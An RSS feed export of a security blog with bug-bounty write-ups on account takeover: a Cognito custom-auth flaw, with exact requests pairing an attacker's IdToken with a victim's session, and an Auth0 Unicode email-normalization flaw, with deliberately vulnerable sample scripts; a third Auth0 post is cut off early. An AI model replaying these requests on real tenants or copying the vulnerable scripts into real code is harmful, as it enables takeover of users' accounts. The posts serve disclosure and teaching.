<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[ravAuth]]></title><description><![CDATA[A space where I document my journey through the world of authentication bugs and web app security. Focused, sharp, and always practical.]]></description><link>https://nykros.com</link><generator>RSS for Node</generator><lastBuildDate>Wed, 15 Apr 2026 13:58:54 GMT</lastBuildDate><atom:link href="https://nykros.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[AWS Cognito Chaos: The Major Flaw That Let Attackers Takeover User Accounts]]></title><description><![CDATA[<!-- Nykros -- >
What’s Up, Everyone?
Hope y’all are doing awesome! In this post, I’m gonna spill the beans on a bug I discovered while poking around a public program, I won’t be dropping any details about the actual target—just the relevant bits abo...]]></description><link>https://nykros.com/aws-cognito-chaos-the-major-flaw-that-let-attackers-takeover-user-accounts</link><guid isPermaLink="true">https://nykros.com/aws-cognito-chaos-the-major-flaw-that-let-attackers-takeover-user-accounts</guid><category><![CDATA[aws-cognito]]></category><category><![CDATA[Security]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[pentesting]]></category><dc:creator><![CDATA[Hussam Ahmed]]></dc:creator><pubDate>Wed, 10 Sep 2025 08:51:34 GMT</pubDate><content:encoded><![CDATA[<p>&lt;!-- Nykros -- &gt;</p>
<h3 id="heading-whats-up-everyone">What’s Up, Everyone?</h3>
<p>Hope y’all are doing awesome! In this post, I’m gonna spill the beans on a bug I discovered while poking around a public program, I won’t be dropping any details about the actual target—just the relevant bits about how it uses <strong>Amazon Cognito</strong> for its auth and user management.</p>
<hr />
<h1 id="heading-quick-intro-to-amazon-cognito">Quick Intro to Amazon Cognito</h1>
<p>Amazon Cognito basically hooks you up with easy sign-up, sign-in, and user access controls for websites and apps. Users can log in using a regular ol’ username and password or go through social login options like Google, Apple, or Facebook.</p>
<p><strong>Two core pieces of Cognito:</strong></p>
<ol>
<li><p><strong>User Pools</strong>: They’re like user directories that handle registration and login flows.</p>
</li>
<li><p><strong>Identity Pools</strong>: Let you give your users access to other AWS stuff.</p>
</li>
</ol>
<h2 id="heading-typical-cognito-scenarios">Typical Cognito Scenarios</h2>
<h3 id="heading-1-signing-in-with-a-user-pool">1. Signing in with a User Pool</h3>
<ul>
<li><p>You can let your users sign in straight through Cognito or via a third-party IdP (like Google or Facebook).</p>
</li>
<li><p>After a successful login, Cognito returns tokens that can be used to call protected APIs or to access other AWS services.</p>
</li>
</ul>
<h3 id="heading-2-using-cognito-for-server-side-access">2. Using Cognito for Server-Side Access</h3>
<ul>
<li><p>Once you’re signed in, you get tokens from Cognito.</p>
</li>
<li><p>These tokens can help you manage who can do what on your server.</p>
</li>
<li><p>You can also create user pool groups to organize and limit permissions for different people.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757493483781/68aa0655-e53f-40b0-b14c-ddab8150a1ce.png" alt /></p>
</li>
</ul>
<h2 id="heading-key-authentication-flows">Key Authentication Flows</h2>
<h3 id="heading-1-client-side-auth-flow">1. Client-Side Auth Flow</h3>
<ul>
<li><p>The user types in their username and password.</p>
</li>
<li><p>The app calls <code>InitiateAuth</code> with Secure Remote Password (SRP) details.</p>
</li>
<li><p>The app calls <code>RespondToAuthChallenge</code>. If everything checks out, Cognito gives back tokens. If more proof (like MFA) is needed, Cognito gives you a <code>session</code> instead.</p>
</li>
<li><p>If you do get a <code>session</code>, you’ll call <code>RespondToAuthChallenge</code> again with that MFA code or whatever else is needed.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757493527142/679ac21e-d66f-4539-95c9-2eec56ac3242.png" alt /></p>
</li>
</ul>
<h3 id="heading-2-custom-auth-flow">2. Custom Auth Flow</h3>
<p>Cognito also lets you create a <strong>custom</strong> authentication flow using AWS Lambda triggers. Basically, Cognito provides the underlying “plumbing” (the triggers, challenge/response structure), but you have to write the logic that powers each step in the flow. This means you’re on the hook for coding the security checks correctly.</p>
<ul>
<li><p><strong>InitiateAuth</strong>: Tells Cognito you’re going for a custom flow (<code>CUSTOM_AUTH</code>) and provides some initial user details.</p>
</li>
<li><p><strong>RespondToAuthChallenge</strong>: If Cognito says “we need a challenge,” you gather the required data (like an MFA code) and send it back with the current <code>session</code>. You keep repeating until the user logs in successfully or you hit an error.</p>
</li>
</ul>
<h3 id="heading-custom-flow-amp-challenges">Custom Flow &amp; Challenges</h3>
<p>When you do a custom flow:</p>
<ol>
<li><p><strong>DefineAuthChallenge</strong>: Figures out what the next challenge is, based on previous attempts.</p>
</li>
<li><p><strong>CreateAuthChallenge</strong>: Makes the actual challenge details.</p>
</li>
<li><p><strong>VerifyAuthChallengeResponse</strong>: Checks if the user’s answer to the challenge is correct.</p>
</li>
</ol>
<blockquote>
<p>Heads up: This is exactly where the vulnerability in our story came from—the developer’s code in these triggers didn’t verify that the IdToken actually belonged to the same user who owned the session. Cognito itself doesn’t enforce that; it just links the steps together. So if you don’t handle the logic securely, you risk letting attackers mix and match tokens and sessions.</p>
</blockquote>
<p>You can blend these custom steps with built-in ones like SRP password verification or SMS-based MFA. You can even get extra fancy with CAPTCHAs or knowledge-based questions.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757493563203/c59a49ac-62fb-4aea-9d5f-60be8e2d44df.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-tokens-in-cognito">Tokens in Cognito</h2>
<ol>
<li><p><strong>ID Token</strong>: A JWT that holds user info (like name, email, phone). It’s used to authenticate your user on server resources.</p>
</li>
<li><p><strong>Access Token</strong>: Lists user privileges, groups, and scopes. Use it to call protected endpoints or let your users update their profiles.</p>
</li>
<li><p><strong>Refresh Token</strong>: Used to snag new ID and Access tokens. By default, it expires after 30 days, but you can tweak that timeframe to anything from 60 minutes up to 10 years.</p>
</li>
</ol>
<hr />
<h1 id="heading-the-recon-rundown">The Recon Rundown</h1>
<p><strong>Scope</strong>:</p>
<ul>
<li><p>Sign-up</p>
</li>
<li><p>Sign-in</p>
</li>
<li><p>OAuth (if available)</p>
</li>
</ul>
<h3 id="heading-acting-like-a-regular-user">Acting Like a Regular User</h3>
<p>I signed up with an email and password—no big surprises there. I also tested signing up with Google OAuth, which took a second or two longer than usual. Plus, I noticed there wasn’t an option to change the email or unlink Google once connected.</p>
<h3 id="heading-deep-dive-into-the-requests">Deep Dive into the Requests</h3>
<p>Using BurpSuite, I zeroed in on OAuth-related calls. Typically, the flow looked like this:</p>
<ol>
<li><p><strong>Click “Sign in with Google”</strong>: You get sent to Google for authentication.</p>
</li>
<li><p><strong>Token Exchange</strong>: Cognito receives the OAuth code from Google and trades it for tokens. At this stage, the JWT’s email claim wasn’t marked “verified” yet.</p>
</li>
<li><p><strong>Link Google Username</strong>: The client app calls an API endpoint that links the Google account to the local user account, passing an <code>IdToken</code> in the headers.</p>
</li>
<li><p><strong>Finishing Up</strong>: Finally, the app calls <code>InitiateAuth</code> and <code>RespondToAuthChallenge</code> with a custom challenge name from AWS Lambda triggers. That’s where the code verifies the <code>IdToken</code> and username, returning user-specific tokens. Or at least, that’s how it’s <strong>supposed</strong> to work when done securely.</p>
</li>
</ol>
<h2 id="heading-the-attack-scenario">The Attack Scenario</h2>
<p>At some point, I asked myself:</p>
<blockquote>
<p>What if I snag a valid session for another user and pair it with my own valid IdToken in the RespondToAuthChallenge call?</p>
</blockquote>
<p>Turns out:</p>
<ul>
<li><p>The session is indeed checked to see if it lines up with the correct username.</p>
</li>
<li><p>The <code>IdToken</code> is checked to see if it’s valid (i.e., not expired).</p>
</li>
<li><p><strong>However</strong>, there wasn’t any code linking that <code>IdToken</code> to the specific session or user. That’s because the dev who wrote the custom challenge logic didn’t do that last piece of validation!</p>
</li>
</ul>
<p>So you could basically combine a victim’s session with your own <code>IdToken</code>—Cognito’s framework wouldn’t blow the whistle, because it only sees that “the session is valid” and “the token is valid.” It never checks if they belong together.</p>
<hr />
<h1 id="heading-how-to-exploit-attackers-point-of-view">How to Exploit (Attacker’s Point of View)</h1>
<ol>
<li><p><strong>Attacker Logs In</strong></p>
<ul>
<li>The attacker logs into their own account to get a valid <code>IdToken</code>.</li>
</ul>
</li>
<li><p><strong>Attacker Snags Victim’s Session</strong></p>
<ul>
<li><p>Fire off a <code>POST</code> to <code>InitiateAuth</code>:</p>
<pre><code class="lang-yaml">  <span class="hljs-string">POST</span> <span class="hljs-string">/</span> <span class="hljs-string">HTTP/2</span>
  <span class="hljs-attr">Host:</span> <span class="hljs-string">cognito-idp.us-east-1.amazonaws.com</span>
  <span class="hljs-attr">X-Amz-Target:</span> <span class="hljs-string">AWSCognitoIdentityProviderService.InitiateAuth</span>
  <span class="hljs-attr">Content-Type:</span> <span class="hljs-string">application/x-amz-json-1.1</span>
  <span class="hljs-string">...</span>
  {
    <span class="hljs-attr">"AuthFlow":</span> <span class="hljs-string">"CUSTOM_AUTH"</span>,
    <span class="hljs-attr">"ClientId":</span> <span class="hljs-string">"targetAppClientId"</span>,
    <span class="hljs-attr">"AuthParameters":</span> {
      <span class="hljs-attr">"USERNAME":</span> <span class="hljs-string">"VICTIM_EMAIL"</span>
    },
    <span class="hljs-attr">"ClientMetadata":</span> {}
  }
</code></pre>
</li>
<li><p>The response has the victim’s <code>username</code> and <code>session</code>:</p>
<pre><code class="lang-json">  {
    <span class="hljs-attr">"ChallengeName"</span>: <span class="hljs-string">"CUSTOM_CHALLENGE"</span>,
    <span class="hljs-attr">"ChallengeParameters"</span>: {
      <span class="hljs-attr">"USERNAME"</span>: <span class="hljs-string">"VICTIM_USERNAME"</span>,
      <span class="hljs-attr">"email"</span>: <span class="hljs-string">"VICTIM_EMAIL"</span>
    },
    <span class="hljs-attr">"Session"</span>: <span class="hljs-string">"VICTIM_SESSION"</span>
  }
</code></pre>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757493900431/909a83a4-c0b8-4133-b30d-6dac1d2ce70d.png" alt /></p>
</li>
</ul>
</li>
<li><p><strong>Attacker Mashes Up Their</strong> <code>IdToken</code> with Victim’s Session</p>
<ul>
<li><p>Send another <code>POST</code> to <code>RespondToAuthChallenge</code>:</p>
<pre><code class="lang-yaml">  <span class="hljs-string">POST</span> <span class="hljs-string">/</span> <span class="hljs-string">HTTP/2</span>
  <span class="hljs-attr">Host:</span> <span class="hljs-string">cognito-idp.us-east-1.amazonaws.com</span>
  <span class="hljs-attr">X-Amz-Target:</span> <span class="hljs-string">AWSCognitoIdentityProviderService.RespondToAuthChallenge</span>
  <span class="hljs-attr">Content-Type:</span> <span class="hljs-string">application/x-amz-json-1.1</span>
  <span class="hljs-string">...</span>
  {
    <span class="hljs-attr">"ChallengeName":</span> <span class="hljs-string">"CUSTOM_CHALLENGE"</span>,
    <span class="hljs-attr">"ChallengeResponses":</span> {
      <span class="hljs-attr">"USERNAME":</span> <span class="hljs-string">"VICTIM_USERNAME"</span>,
      <span class="hljs-attr">"ANSWER":</span> <span class="hljs-string">"ATTACKER_IdToken"</span>
    },
    <span class="hljs-attr">"ClientId":</span> <span class="hljs-string">"targetAppClientId"</span>,
    <span class="hljs-attr">"Session":</span> <span class="hljs-string">"VICTIM_SESSION"</span>
  }
</code></pre>
</li>
<li><p>Even though the <code>ANSWER</code> (the <code>IdToken</code>) belongs to the attacker, Cognito ends up returning the victim’s tokens:</p>
<pre><code class="lang-json">  {
    <span class="hljs-attr">"AuthenticationResult"</span>: {
      <span class="hljs-attr">"AccessToken"</span>: <span class="hljs-string">"VICTIM_ACCESS_TOKEN"</span>,
      <span class="hljs-attr">"ExpiresIn"</span>: <span class="hljs-number">3600</span>,
      <span class="hljs-attr">"IdToken"</span>: <span class="hljs-string">"VICTIM_ID_TOKEN"</span>,
      <span class="hljs-attr">"RefreshToken"</span>: <span class="hljs-string">"VICTIM_REFRESH_TOKEN"</span>,
      <span class="hljs-attr">"TokenType"</span>: <span class="hljs-string">"Bearer"</span>
    },
    <span class="hljs-attr">"ChallengeParameters"</span>: {}
  }
</code></pre>
</li>
</ul>
</li>
</ol>
<p><strong>End result</strong>: The attacker gets the victim’s tokens and can now access the victim’s account.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757493966207/5307f061-f6dd-4f70-9b44-2ca1dcf80530.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-wrapping-it-up">Wrapping It Up</h1>
<p>This vulnerability exists because <strong>the developer</strong> who set up the custom auth flow <strong>didn’t include a check</strong> to ensure that the <code>IdToken</code> and the user session actually belong to the same person. Amazon Cognito only provides the building blocks. It’s up to you (or your team) to make sure your custom challenge code does all the proper validations.</p>
<hr />
<p><strong>If you found this article helpful, feel free to share it.</strong></p>
<p><strong>LinkedIn:</strong> <a target="_blank" href="https://www.linkedin.com/in/iknowhatodo"><strong>Hossam Ahmed</strong></a></p>
]]></content:encoded></item><item><title><![CDATA[Exploiting Email Normalization and Custom Database Configurations in Auth0 for Account Takeover]]></title><description><![CDATA[<!-- Nykros -- >
Introduction
Authentication systems serve as the gatekeepers to user accounts and sensitive data. Ensuring their security is crucial to prevent unauthorized access, data breaches, and loss of user trust. Email normalization—the proce...]]></description><link>https://nykros.com/exploiting-email-normalization-and-custom-database-configurations-in-auth0-for-account-takeover</link><guid isPermaLink="true">https://nykros.com/exploiting-email-normalization-and-custom-database-configurations-in-auth0-for-account-takeover</guid><category><![CDATA[Auth0]]></category><category><![CDATA[account takeover]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Hussam Ahmed]]></dc:creator><pubDate>Tue, 09 Sep 2025 08:34:54 GMT</pubDate><content:encoded><![CDATA[<p>&lt;!-- Nykros -- &gt;</p>
<h2 id="heading-introduction">Introduction</h2>
<p>Authentication systems serve as the gatekeepers to user accounts and sensitive data. Ensuring their security is crucial to prevent unauthorized access, data breaches, and loss of user trust. <strong>Email normalization</strong>—the process of standardizing email addresses—plays a critical role in maintaining the integrity of these systems. Inconsistent handling of email normalization can inadvertently allow attackers to bypass security measures, leading to account duplication and unauthorized access.</p>
<p>This article examines a specific vulnerability identified during a penetration test on an application leveraging Auth0 for authentication, highlighting the critical role of email normalization in maintaining authentication integrity.</p>
<hr />
<h2 id="heading-application-overview">Application Overview</h2>
<p>The application under test utilizes Auth0 to handle user authentication, offering two primary methods for account creation:</p>
<ol>
<li><p><strong>Sign Up with Google:</strong> Users can create an account using their Google credentials.</p>
</li>
<li><p><strong>Email and Password:</strong> Users can register by providing an email address and a password.</p>
</li>
</ol>
<p>Our focus is on the <strong>Email and Password</strong> registration method, as it interacts directly with Auth0's email handling and database configurations.</p>
<hr />
<h2 id="heading-initial-testing-and-discovery">Initial Testing and Discovery</h2>
<h3 id="heading-replicating-a-known-vulnerability">Replicating a Known Vulnerability</h3>
<p>During an initial penetration test, a previously identified vulnerability was tested. By following the known exploit steps, an <strong>Account Takeover (ATO)</strong> was successfully achieved. Upon discovering this vulnerability, it was promptly reported to the client, and immediate actions were taken to fix the issue.</p>
<p><strong>YOU can read the Write-up here:</strong> <a target="_blank" href="https://nykros.com/exploiting-auth0-misconfigurations-a-case-study-on-account-linking-vulnerabilities">exploiting-auth0-misconfigurations-a-case-study-on-account-linking-vulnerabilities</a></p>
<h3 id="heading-attempting-duplicate-account-creation">Attempting Duplicate Account Creation</h3>
<p>To further investigate, a new account was created using the email <code>ihussam@xx.xx</code> with the password <code>PassOne123</code>. An attempt to create another account with the same email but a different password using Auth0's public endpoint resulted in an error message: <strong>"Email already exists!"</strong> This behavior indicated that the system was correctly preventing duplicate email registrations through the standard UI and Auth0 Public Endpoint.</p>
<ul>
<li>Reason for Using the Public Endpoint and Default database connection I will explain the reason for such behavior in a separate write-up.</li>
</ul>
<hr />
<h2 id="heading-understanding-email-normalization">Understanding Email Normalization</h2>
<p><strong>Email normalization</strong> involves transforming email addresses into a standardized format to ensure consistency across various operations like registration, login, and data retrieval. Proper normalization helps in:</p>
<ul>
<li><p><strong>Preventing Duplicate Accounts:</strong> Ensures that variations of an email address (e.g., different cases, Unicode characters) don't result in multiple accounts for the same user.</p>
</li>
<li><p><strong>Enhancing Security:</strong> Reduces the risk of account takeover through visually similar but technically distinct email addresses using Unicode characters.</p>
</li>
</ul>
<h3 id="heading-common-normalization-techniques">Common Normalization Techniques</h3>
<ol>
<li><p><strong>Unicode Normalization:</strong> Converts Unicode characters to a standard form using normalization forms like NFKC (Normalization Form Compatibility Composition).</p>
</li>
<li><p><strong>Case Normalization:</strong> Converts the entire email address to lowercase to avoid case-sensitive discrepancies.</p>
</li>
<li><p><strong>Dot Removal:</strong> Removes dots in specific email domains (e.g., Gmail) where dots are insignificant.</p>
</li>
</ol>
<hr />
<h2 id="heading-exploitation-of-email-normalization">Exploitation of Email Normalization</h2>
<h3 id="heading-creating-a-unicode-email-address">Creating a Unicode Email Address</h3>
<p>To bypass the "Email already exists!" restriction, an email address with a Unicode character was crafted: <code>ıhussam@xx.xx</code> (note the dotted dotless 'i'). This email was used with Auth0's public endpoint, allowing the creation of a new account with the credentials <code>[ıhussam@xx.xx - AccTwo123]</code>.</p>
<h3 id="heading-observing-auth0s-handling-of-unicode-emails">Observing Auth0's Handling of Unicode Emails</h3>
<p>Auth0 does not perform email normalization by default. As a result, it treated <code>ıhussam@xx.xx</code> as a different email from <code>ihussam@xx.xx</code>. This discrepancy allowed the creation of what appeared to be a separate account using a slightly altered email address.</p>
<h3 id="heading-achieving-account-takeover">Achieving Account Takeover</h3>
<p>When logging into the newly created account with <code>[ıhussam@xx.xx - AccTwo123]</code>, access was gained to the original account's data and documents. This indicated a successful <strong>Account Takeover</strong>. Conversely, attempting to log in with the original credentials <code>[ihussam@xx.xx - PassOne123]</code> resulted in an error stating that the password is wrong—a highly unusual and concerning behavior.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757405228568/4542f1e2-82de-4654-b3a7-d67de223014d.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-technical-analysis-auth0s-custom-database-configuration">Technical Analysis: Auth0's Custom Database Configuration</h2>
<h3 id="heading-understanding-auth0s-custom-database-feature">Understanding Auth0's Custom Database Feature</h3>
<p>Auth0 offers a <strong>Custom Database</strong> feature that allows developers to connect their own user databases with Auth0. This is achieved by linking an external database to an Auth0 database connection and creating custom scripts to handle user authentication processes.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757405628170/713d98d8-8716-4e94-8707-278f786da502.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-key-scripts-in-custom-database-integration">Key Scripts in Custom Database Integration</h3>
<ol>
<li><p><strong>Create User Script:</strong> Runs when a user tries to sign up. It takes the user's details (like email and password) and creates a new user entry in the external database.</p>
</li>
<li><p><strong>Get User Script:</strong> Runs concurrently with the Create User script during the signup process. It checks if the provided email already exists in the external database before allowing a new account to be created.</p>
</li>
</ol>
<h3 id="heading-root-cause-of-the-vulnerability">Root Cause of the Vulnerability</h3>
<p>The main issue lies in how these scripts handle email normalization:</p>
<ul>
<li><p><strong>Lack of Email Normalization in Get User Script:</strong> The <code>Get User Script</code> did not normalize the email. This means that emails with Unicode characters could bypass the initial check to see if the email already exists, allowing duplicate accounts to be created.</p>
</li>
<li><p><strong>Normalization in Create User Script:</strong> The <code>Create User Script</code> did normalize the email by converting Unicode characters to their ASCII equivalents. This caused the normalized email to match the original email in the database, leading to the overwriting of credentials and facilitating the Account Takeover.</p>
</li>
</ul>
<blockquote>
<p>It's important to highlight that the application also performs <strong>email normalization</strong> during the <strong>login process</strong>. This means that when a user attempts to log in, the input email is normalized in the same manner as during the registration process. The normalization involves converting Unicode characters to their ASCII equivalents and making all characters lowercase.</p>
</blockquote>
<hr />
<h2 id="heading-simulating-vulnerable-scripts">Simulating Vulnerable Scripts</h2>
<p>Below are simulated versions of the <strong>Create User</strong> and <strong>Get User</strong> scripts used in Auth0's Custom Database configuration. These examples illustrate how improper handling of email normalization can introduce vulnerabilities, specifically allowing for Account Takeover (ATO).</p>
<h3 id="heading-vulnerable-create-user-script">Vulnerable <strong>Create User</strong> Script</h3>
<p>This script <strong>incorrectly normalizes</strong> the email by converting Unicode characters to their ASCII equivalents. This normalization can inadvertently allow duplicate accounts or overwrite existing user credentials.</p>
<pre><code class="lang-jsx"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">create</span>(<span class="hljs-params">user, callback</span>) </span>{
  <span class="hljs-comment">// Extract user details</span>
  <span class="hljs-keyword">const</span> userEmail = user.email;
  <span class="hljs-keyword">const</span> userPassword = user.password;

  <span class="hljs-comment">// Vulnerable Email Normalization: Converts Unicode characters to ASCII</span>
  <span class="hljs-keyword">const</span> normalizedEmail = userEmail.normalize(<span class="hljs-string">'NFKC'</span>).toLowerCase();

  <span class="hljs-comment">// Example: Overwriting existing user if normalized email matches</span>
  database.findUserByEmail(normalizedEmail, <span class="hljs-function">(<span class="hljs-params">err, existingUser</span>) =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) <span class="hljs-keyword">return</span> callback(<span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'Database error'</span>));

    <span class="hljs-keyword">if</span> (existingUser) {
      <span class="hljs-comment">// Vulnerability: Overwrites the existing user's password</span>
      database.updateUserPassword(existingUser.id, userPassword, <span class="hljs-function">(<span class="hljs-params">updateErr</span>) =&gt;</span> {
        <span class="hljs-keyword">if</span> (updateErr) <span class="hljs-keyword">return</span> callback(<span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'Password update failed'</span>));
        <span class="hljs-keyword">return</span> callback(<span class="hljs-literal">null</span>); <span class="hljs-comment">// User creation successful (credentials overwritten)</span>
      });
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-comment">// Create new user with normalized email</span>
      database.createUser(normalizedEmail, userPassword, <span class="hljs-function">(<span class="hljs-params">createErr</span>) =&gt;</span> {
        <span class="hljs-keyword">if</span> (createErr) <span class="hljs-keyword">return</span> callback(<span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'User creation failed'</span>));
        <span class="hljs-keyword">return</span> callback(<span class="hljs-literal">null</span>); <span class="hljs-comment">// User creation successful</span>
      });
    }
  });
}
</code></pre>
<h3 id="heading-vulnerability-explanation">Vulnerability Explanation:</h3>
<ol>
<li><p><strong>Email Normalization in Create User Script:</strong></p>
<ul>
<li><p>The script normalizes the email by converting it to its ASCII equivalent and making it lowercase.</p>
</li>
<li><p>Example: <code>ıhussam@xx.xx</code> becomes <code>ihussam@xx.xx</code>.</p>
</li>
</ul>
</li>
<li><p><strong>Overwriting Existing Users:</strong></p>
<ul>
<li><p>If a user with the normalized email already exists, the script updates the existing user's password with the new password provided. <strong>{{But WHY?}}</strong></p>
</li>
<li><p>This allows an attacker to overwrite another user's credentials by using a cleverly crafted email address with Unicode characters.</p>
</li>
</ul>
</li>
</ol>
<h3 id="heading-vulnerable-get-user-script">Vulnerable <strong>Get User</strong> Script</h3>
<p>This script <strong>fails to normalize</strong> the email before checking for existing users. As a result, emails containing Unicode characters can bypass the existence check, allowing the creation of duplicate accounts.</p>
<pre><code class="lang-jsx"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getByEmail</span>(<span class="hljs-params">email, callback</span>) </span>{
  <span class="hljs-comment">// Extract the email provided during login/signup</span>
  <span class="hljs-keyword">const</span> inputEmail = email;

  <span class="hljs-comment">// Vulnerable: No Email Normalization performed here</span>
  <span class="hljs-comment">// Emails with Unicode characters are treated differently</span>

  <span class="hljs-comment">// Attempt to find user by the raw input email</span>
  database.findUserByEmail(inputEmail, <span class="hljs-function">(<span class="hljs-params">err, user</span>) =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) <span class="hljs-keyword">return</span> callback(<span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'Database error'</span>));

    <span class="hljs-keyword">if</span> (user) {
      <span class="hljs-comment">// User found, return the user profile</span>
      <span class="hljs-keyword">return</span> callback(<span class="hljs-literal">null</span>, user);
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-comment">// User not found, proceed to Create User Script</span>
      <span class="hljs-keyword">return</span> callback(<span class="hljs-literal">null</span>);
    }
  });
}
</code></pre>
<h3 id="heading-vulnerability-explanation-1">Vulnerability Explanation:</h3>
<ol>
<li><p><strong>Lack of Email Normalization in Get User Script:</strong></p>
<ul>
<li><p>The script uses the raw input email without any normalization.</p>
</li>
<li><p>This means that <code>ıhussam@xx.xx</code> is treated as a different email from <code>ihussam@xx.xx</code>.</p>
</li>
</ul>
</li>
<li><p><strong>Bypassing Duplicate Checks:</strong></p>
<ul>
<li><p>An attacker can create an email with Unicode characters that visually resemble an existing user's email.</p>
</li>
<li><p>Since the <code>Get User</code> script does not normalize the email, it does not recognize it as existing, allowing the attacker to create a new account with that email.</p>
</li>
<li><p>Meanwhile, the <code>Create User</code> script normalizes the email and may overwrite the original user's credentials, leading to Account Takeover.</p>
</li>
</ul>
</li>
</ol>
<hr />
<h2 id="heading-summary-of-the-vulnerability">Summary of the Vulnerability</h2>
<ol>
<li><p><strong>Inconsistent Email Handling:</strong></p>
<ul>
<li><p>The <strong>Create User</strong> script normalizes emails, altering Unicode characters to their ASCII equivalents.</p>
</li>
<li><p>The <strong>Get User</strong> script does <strong>not</strong> normalize emails, allowing Unicode variations to bypass user existence checks.</p>
</li>
</ul>
</li>
<li><p><strong>Exploitation Path:</strong></p>
<ul>
<li><p><strong>Step 1:</strong> Attacker registers a new account using an email with Unicode characters that normalize to an existing user's email.</p>
</li>
<li><p><strong>Step 2:</strong> The <strong>Get User</strong> script does not recognize the normalized email, allowing the creation of a seemingly new account.</p>
</li>
<li><p><strong>Step 3:</strong> The <strong>Create User</strong> script normalizes the email and overwrites the existing user's credentials with the attacker's password.</p>
</li>
<li><p><strong>Result:</strong> The attacker gains access to the original user's account data, achieving Account Takeover.</p>
</li>
</ul>
</li>
</ol>
<hr />
<h2 id="heading-stay-secure"><strong>Stay Secure!</strong></h2>
<p><strong>If you found this article helpful, feel free to share it.</strong></p>
<p><strong>LinkedIn:</strong> <a target="_blank" href="https://www.linkedin.com/in/iknowhatodo"><strong>Hossam Ahmed</strong></a></p>
]]></content:encoded></item><item><title><![CDATA[Chaining Auth0 Misconfigurations for 1-Click Account Takeover]]></title><description><![CDATA[Deep Dive into a Subtle Auth0 Misconfiguration Leading to Full Account Takeover

Introduction
This post documents a critical 1-click Account Takeover (ATO) vulnerability discovered in an application using Auth0 for authentication.
By chaining:

A hid...]]></description><link>https://nykros.com/chaining-auth0-misconfigurations-for-1-click-account-takeover</link><guid isPermaLink="true">https://nykros.com/chaining-auth0-misconfigurations-for-1-click-account-takeover</guid><category><![CDATA[Auth0]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[Security]]></category><category><![CDATA[account takeover]]></category><category><![CDATA[bugbounty]]></category><dc:creator><![CDATA[Hussam Ahmed]]></dc:creator><pubDate>Mon, 01 Sep 2025 12:08:59 GMT</pubDate><content:encoded><![CDATA[<p>Deep Dive into a Subtle Auth0 Misconfiguration Leading to Full Account Takeover</p>
<hr />
<h2 id="heading-introduction">Introduction</h2>
<p>This post documents a <strong>critical 1-click Account Takeover (ATO)</strong> vulnerability discovered in an application using <a target="_blank" href="https://auth0.com?utm_source=chatgpt.com">Auth0</a> for authentication.</p>
<p>By chaining:</p>
<ul>
<li><p>A <strong>hidden, enabled</strong> <code>Username-Password-Authentication</code> connection,</p>
</li>
<li><p>A <strong>Cross-Origin Authentication configuration</strong>, and</p>
</li>
<li><p>A <strong>custom account-merging implementation</strong> during token exchange</p>
</li>
</ul>
<p>I was able to gain <strong>full access to a victim’s primary account</strong> (originally created via social logins or Passwordless) with only <strong>one click</strong> from the victim.</p>
<p>This vulnerability highlights how subtle misconfigurations in identity providers like Auth0 can lead to serious security risks.</p>
<hr />
<h2 id="heading-inside-auth0-a-technical-breakdown">Inside Auth0: A Technical Breakdown</h2>
<p>Let's understand two important things to grasp how the vulnerability works.</p>
<h3 id="heading-1-connections-and-user-profiles">1. Connections and User Profiles</h3>
<p>In Auth0, each authentication method (social login, passwordless, username/password, etc.) is represented as a <strong>connection</strong>.</p>
<ul>
<li><p>Each connection creates a <strong>separate profile</strong> in the Auth0 tenant, even if the email is the same.</p>
</li>
<li><p>Profiles are identified by a <code>user_id</code> that includes the connection name.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756725280919/2de05520-8b60-4145-a1f1-71c859854b5e.jpeg" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756968395185/c42450ec-0ccb-4172-951e-17e278902192.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-2-cross-origin-authentication">2. Cross-Origin Authentication</h3>
<p>While reviewing the authentication flow of the application, I noticed that the user-facing login options are limited to <strong>social logins</strong> and <strong>passwordless authentication</strong>. However, a deeper inspection revealed that the application also leverages Auth0’s <strong>Cross-Origin Authentication</strong> feature, specifically via the <code>POST /co/authenticate</code> endpoint. This endpoint allows credentials (username and password) to be sent directly to the Auth0 tenant (e.g., <a target="_blank" href="http://auth.nykros.com"><code>auth.nykros.com</code></a>), and in response, it issues authentication cookies — including the <code>auth0</code> session cookie, which represents the logged-in user session.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756724901977/f6bb0b9d-37be-490a-973e-87a745feccd6.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-vulnerability-overview">Vulnerability Overview</h2>
